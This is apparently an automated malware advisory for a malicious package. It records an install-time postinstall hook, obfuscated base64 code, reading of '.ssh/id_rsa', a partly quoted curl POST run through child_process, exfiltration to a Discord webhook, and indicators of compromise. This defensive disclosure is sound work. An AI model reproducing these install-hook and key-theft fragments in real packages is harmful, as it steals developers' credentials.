GCVE-110-OSM-2026-5814

Malicious package detected. Behaviors: data exfiltration, code execution, obfuscated code, install-time execution. Entrypoint: postinstall.js (install-hook: node postinstall.js) Exfil: https://discord.com/api/webhooks/ (custom-c2, recovery: decoded in index.js) Payload: index.js Key findings: - Sensitive File Access in index.js: "'.ssh/id_rsa'" - Download Execute Delete Pattern in index.js: "writeFileSync(tmp, data); cp.execSync('curl -s -o /dev/null -X POST -H "Cont..." - Decoded Base64 Content in index.js - Shell Command Execution in index.js: "require('child_process')" - Install Hook Executes Local JS File in package.json: ""postinstall": "node postinstall.js"" IOCs: - urls: https://discord.com/api/webhooks/ - domains: discord.com - payloadFileHash: af46e4470629d3beb9d161cb05ee876f38e8ab70604d69b6da0afc07af5bd725 Decoded/deobfuscated IOCs: - urls: https://discord.com/api/webhooks/ - domains: discord.com